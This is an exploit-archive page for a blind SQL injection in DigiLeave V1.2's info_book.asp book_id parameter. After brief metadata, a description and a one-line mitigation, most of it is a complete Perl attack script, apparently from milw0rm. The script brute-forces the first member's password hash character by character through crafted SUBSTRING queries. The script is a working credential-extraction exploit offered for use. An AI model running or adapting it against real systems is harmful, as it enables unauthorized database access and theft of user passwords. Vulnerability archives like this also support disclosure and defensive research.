header-logo
Suggest Exploit
vendor:
DigiLeave
by:
Mr.SQL
8.8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: DigiLeave
Affected Version From: V1.2
Affected Version To: V1.2
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

DigiLeave V1.2Blind SQL Injection Exploit

DigiLeave V1.2 is vulnerable to Blind SQL Injection. An attacker can exploit this vulnerability to gain access to the database and execute malicious SQL queries. The vulnerability exists in the info_book.asp page, where the book_id parameter is not properly sanitized before being used in a SQL query.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in a SQL query.
Source

Exploit-DB raw data:

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #################### Viva IslaMe Viva IslaMe ################\n";
  print "   #   DigiLeave V1.2Blind SQL Injection Exploit               #\n";
  print "   #                                  (info_book.asp book_id ) #\n";
  print "   #   Author: Mr.SQL                                          #\n";
  print "   #   EMAIL : SQL@HOTMAIL.IT                                  #\n";
  print "   #                                                           #\n";
  print "   #                -((:: GrE3E3E3E3E3ETZ ::))-                #\n";
  print "   #                                                           #\n";
  print "   #   HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab  #\n";
  print "   #                :: ALwHeD :: milw0rm ::                    #\n";
  print "   #                                                           #\n";
  print "   #              <<>>   MuSliMs HaCkErS   <<>>                #\n";
  print "   #                                                           #\n";
  print "   #   PRODUCT SITE: http://www.digiappz.com			#\n";
  print "   #                                                           #\n";
  print "   #   HOME:    WwW.PaL-HaCkEr.CoM                             #\n";
  print "   #                                                           #\n";
  print "   #   Usage  : perl test.pl host                              #\n";
  print "   #   Example: perl test.pl www.host.com / -d 10              #\n";
  print "   #   Options:                                                #\n";
  print "   #     -d    valid book_id  value                            #\n";
  print "   #############################################################\n";
  exit;
}
my $host     = $ARGV[0];
my $book_id  = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...\n";
if($options{"b"})
{
  $book_id = $options{"b"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $book_id, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $book_id, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host    = shift;
  my $book_id = shift;
  my $i       = shift;
  my $h       = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host."info_book.asp?book_id=".$book_id." and (SUBSTRING((SELECT member_password FROM members LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp    = $ua->get($query);
  my $content = $resp->content;
  my $regexp  = "tourterms.pdf";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2008-07-21]